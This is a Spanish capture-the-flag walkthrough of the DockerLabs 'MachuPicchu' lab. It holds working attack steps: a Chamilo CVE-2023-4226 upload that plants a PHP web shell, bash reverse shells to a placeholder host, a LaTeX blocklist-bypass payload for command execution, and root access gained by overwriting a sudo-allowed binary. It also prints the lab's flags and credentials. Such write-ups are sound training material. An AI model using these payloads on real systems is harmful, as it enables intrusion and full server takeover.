MachuPicchu DockerLabs (Intermediate)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip machupicchu.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh machupicchu.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-29 12:32 EDT
Nmap scan report for chamilo.dl (172.17.0.2)
Host is up (0.000017s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x    1 0        0              96 Mar 26 19:44 alumno.txt
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-git: 
|   172.17.0.2:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Remotes:
|       https://github.com/chamilo/chamilo-lms
|_    Project type: PHP application (guessed from .gitignore)
| http-robots.txt: 12 disallowed entries 
| /app/ /bin/ /documentation/ /home/ /main/ /plugin/ 
| /tests/ /vendor/ /license.txt /README.txt /whoisonline.php 
|_/whoisonlinesession.php
|_http-title: Trr0r - Trr0r Academy
|_http-generator: Chamilo 1
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds

Cuando entramos en el puerto 80 vemos que nos redirecciona hacia un dominio llamado chamilo.dl, por lo que tendremos que añadirlo a nuestro archivo hosts.

nano /etc/hosts

#Dentro del nano
<IP>             chamilo.dl

Lo guardamos y si lo volvemos a recargar veremos lo siguiente:

Vemos un login de un software llamado Chamilo pero que aun probando los exploits que hay asociados no funcionara, tambien vimos que hay un servidor FTP, por lo que vamos a investigara en el.

FTP

Vamos a probar a entrar de forma anonima mediante el FTP.

ftp anonymous@<IP>

Dejamos la password vacia y veremos que estamos dentro, si listamos veremos lo siguiente:

229 Entering Extended Passive Mode (|||20290|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0              96 Mar 26 19:44 alumno.txt
226 Directory send OK.

Vamos a descargarnos el archivo alumno.txt:

get alumno.txt

Ahora nos saldremos y veremos que contiene:

Estas son tus credenciales para el acceso como alumno al curso de Hacking Web: pepico:P@ssw0rd1

Vemos que son las credenciales de un usuario de la plataforma, por lo que vamos a probar a entrar con dichas credenciales.

Echo eso veremos que estamos dentro:

Si nos vamos al siguiente apartado en Red Social:

URL = http://chamilo.dl/main/social/home.php

Y probamos a realizar un XSS metiendo el siguiente payload veremos lo siguiente:

<h1 style="color:red;">XSS</h1>

Info:

Vemos que esta funcionando, pero no veremos nada mas interesante, si seguimos buscando algun exploit sobre dicho Software veremos lo siguiente:

URL = Exploit Info CVE-2023-4226

Vemos que nos explica como realizar la explotacion, vamos a seguirlo paso a paso, vamos a crear primero el payload para poder ejecutar comandos desde el .php:

nano cmd.php

#Dentro del nano
<?php
if (isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
} else {
    echo "Usa ?cmd=COMANDO";
}
?>

Tambien tendremos que crear un .htaccess con el siguiente contenido para que podamos realizar el exploit.

nano .htaccess

#Dentro del nano
php_flag engine on
AcceptPathInfo on
<FilesMatch ".+">
    order allow,deny
    allow from all
</FilesMatch>

Ahora tendremos que obtener la Cookie de la sesion en la siguiente seccion:

Y lo pondremos en el siguiente comando:

curl -s -b 'ch_sid=<COOKIE>' 'http://chamilo.dl/main/work/work.php?cidReq=<ID_COURSE>'

Si nosotros nos vamos en la pagina e intentamos acceder en el curso, no nos va a cargar, pero si nos va aparecer esto en la URL:

URL = http://chamilo.dl/courses/HW/

Vemos que el ID se llama HW, por lo que el comando tiene que quedar algo asi:

curl -s -b 'ch_sid=<COOKIE>' 'http://chamilo.dl/main/work/work.php?cidReq=HW'

Seguidamente ejecutaremos el siguiente comando:

curl -b 'ch_sid=<COOKIE>' -F 'files[0]=@cmd.php' -F 'files[1]=@.htaccess' 'http://chamilo.dl/main/inc/ajax/work.ajax.php?a=upload_file&chunkAction=send'

Con esto lo que hacemos es que dentro del archivo work.ajax.php tiene un endpoint llamado a en la que se puede subir archivos sin ningun tipo de restriccion, por lo que vamos a subir el archivo cmd.php y el archivo .htaccess que tenemos en el mismo directorio con curl y sus respectivos argumentos para cargarlo en el servidor.

Info:

{"files":{"files":{"name":["cmd.php",".htaccess"],"full_path":["cmd.php",".htaccess"],"type":["application\/octet-stream","application\/octet-stream"],"tmp_name":["\/tmp\/phpWT1QhG","\/tmp\/phpqBGKJ5"],"error":[0,0],"size":[139,109]}},"errorStatus":0}

Con esto vemos que ha funcionado, ahora si realizamos lo siguiente veremos esto:

curl 'http://chamilo.dl/app/cache/cmd.php?cmd=whoami'

Info:

<pre>www-data
</pre>

Vemos que esta funcionando, por lo que vamos a generarnos una reverse shell.

Escalate user www-data

Vamos a ponernos a la escucha antes:

nc -lvnp <PORT>

Ahora dentro de la URL vamos a poner lo siguiente ajustado a nuestras necesidades:

URL = http://chamilo.dl/app/cache/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/<IP>/<PORT> 0>%261'

Cuando enviemos eso en la URL si volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 49944
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@63a7ae251022:/var/www/chamilo.dl/app/cache$ whoami
whoami
www-data

Vemos que seremos dicho usuario, por lo que vamos a sanitizar la shell.

Sanitizacion de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user trr0r

Si vemos los puertos/IPs que se estan corriendo en la maquina victima:

netstat -tuln

Info:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:1             0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:6200          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN

Vemos que hay un MySQL corriendo a nivel local, pero algo interesante que vemos es que en la carpeta /opt vemos una aplicacion de python y que este mismo esta corriendo a nivel local en el puerto 6200 y si vemos que contiene con curl veremos lo siguiente:

curl http://127.0.0.1:6200/

Info:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>LaTeX</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/static/css/styles.css">
</head>
<body class="bg-dark text-light">
    <div class="container mt-5">
        <h1 class="text-center">🎯 LaTeX 🎯</h1>
        <p class="text-center">Introduce una expresión en LaTeX y genera un PDF.</p>

        <div class="card bg-secondary text-light shadow-lg p-4">
            <form action="/render" method="POST">
                <div class="mb-3">
                    <label for="formula" class="form-label">Código LaTeX:</label>
                    <textarea class="form-control" id="formula" name="formula" rows="4" placeholder="Escribe tu expresión aquí..."></textarea>
                </div>
                <button type="submit" class="btn btn-primary w-100">Generar PDF</button>
            </form>
        </div>
    </div>
</body>

Si inspeccionamos el codigo del archivo app.py veremos la siguiente linea:

# Ejecutar pdflatex con manejo de errores
    subprocess.run(
            ["pdflatex", "--shell-escape" ,"-output-directory", WORK_DIR, tex_file],
            check=True,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL
    )

Vemos que se puede realizar un RCE aprovechando dicha vulnerabilidad, pero tambien tiene esta lista de bloqueo:

# Definir un directorio seguro dentro del proyecto para trabajar con archivos temporales
WORK_DIR = "/opt/latexapp/working_dir"
os.makedirs(WORK_DIR, exist_ok=True)  # Crear el directorio si no existe

BLOCKED_PATTERNS = [
    r"\\input",
    r"\\include",
    r"\\write",
    r"\\openout"
]

def is_malicious_latex(latex_code):
    """Verifica si el código LaTeX contiene patrones peligrosos"""
    for pattern in BLOCKED_PATTERNS:
        if re.search(pattern, latex_code):
            return True
    return False

Por lo que tendremos que realizar un Bypass de esto mismo.

Tras buscar mucho encontre una pagina la cual explica todo esto:

URL = Info Exploit RCE Latex

Si nos vamos a la seccion llamada Filter Bypass podremos ver varios payloads que Bypassean la lista de bloqueo, pudiendo hacer un RCE como el usuario trr0r.

El payload que me ha funcionado que vi en la pagina fue el siguiente:

\catcode`X=0                % change meaning of X to 'escape character'
Xinput{|"id > /tmp/pwned"}  % use X as an escape character to run \input

Por lo que nuestro payload utilizando curl nos tendra que quedar de la siguiente forma:

curl -X POST -d 'formula=\catcode`X=0 Xinput{|"id > /tmp/pwned1"}' http://127.0.0.1:6200/render

Info:

Error generando el PDF

Aunque nos ponga eso, si listamos el /tmp veremos lo siguiente:

total 16
drwxrwxrwt 1 root  root  4096 Mar 30 12:25 .
drwxr-xr-x 1 root  root  4096 Mar 30 12:03 ..
-rw-r--r-- 1 trr0r trr0r   62 Mar 30 12:22 pwned

Ahora si leemos el archivo:

cat /tmp/pwned

Info:

uid=1000(trr0r) gid=1000(trr0r) groups=1000(trr0r),100(users)

Veremos que ha funcionado, por lo que vamos a probar a crear una reverse shell de la siguiente forma:

Vamos a crear antes el siguiente archivo:

nano /tmp/shell.sh

#Dentro del nano
#!/bin/bash

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

Lo guardamos y ponemos permisos de ejecuccion.

chmod +x /tmp/shell.sh

Vamos a ponernos a la escucha:

nc -lvnp <PORT>

Ahora ejecutamos el siguiente comando para poder ejecutar dicho archivo como el usuario trr0r.

curl -X POST -d 'formula=\catcode`X=0 Xinput{|"bash /tmp/shell.sh"}' http://127.0.0.1:6200/render

Si volvemos a donde tenemos la escucha veremos lo siguiente:

listening on [any] 5555 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 57472
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
trr0r@7cd57fc28af5:/$ whoami
whoami
trr0r

Vemos que ha funcionado, por lo que vamos a leer la flag del usuario

user.txt

8bd192048459eed4a4e7271ed86ad884

Vamos a sanitizar la shell.

Sanitizacion de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for trr0r on 7cd57fc28af5:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trr0r may run the following commands on 7cd57fc28af5:
    (ALL) NOPASSWD: /usr/bin/chash

Vemos que podemos ejecutar el binario chash como el usuario root, por lo que vamos a probar a realizar lo siguiente:

sudo /usr/bin/chash db:show_conn_info

Info:

PHP Warning:  "continue" targeting switch is equivalent to "break". Did you mean to use "continue 2"? in phar:///usr/bin/chash/vendor/doctrine/orm/lib/Doctrine/ORM/UnitOfWork.php on line 2640
Are you sure you want to show the database connection info here? (y/N)y
Database connection details:
Host:   127.0.0.1
User:   trr0r
Pass:   admiñçtrr0r
DB:     chamilo
Connection string (add password manually for increased security:
mysql -h 127.0.0.1 -u trr0r -p chamilo

Vemos que hemos obtenido las credenciales de la conexion a mysql.

Pero no podremos hacer gran cosa, ahora si vemos los permisos que tiene el binario veremos lo siguiente:

ls -la /usr/bin/chash

Info:

-rwxrwxr-x 1 root trr0r 31081158 Mar 26 18:51 /usr/bin/chash

Vemos que pertenecemos al grupo del binario, por lo que podremos hacer lo siguiente:

echo " " > /usr/bin/chash
nano /usr/bin/chash

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash
echo "Permisos cambiados con exito!"

Lo guardamos y ahora ejecutamos lo siguiente:

sudo /usr/bin/chash

Info:

Permisos cambiados con exito!

Ahora si listamos la bash veremos lo siguiente:

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Para poder ser root ejecutaremos esto:

bash -p

Info:

bash-5.2# whoami
root

Con esto veremos que seremos root por lo que leeremos la flag de root.

root.txt

eb4585ad9fe0426781ed7c49252f8225

Last updated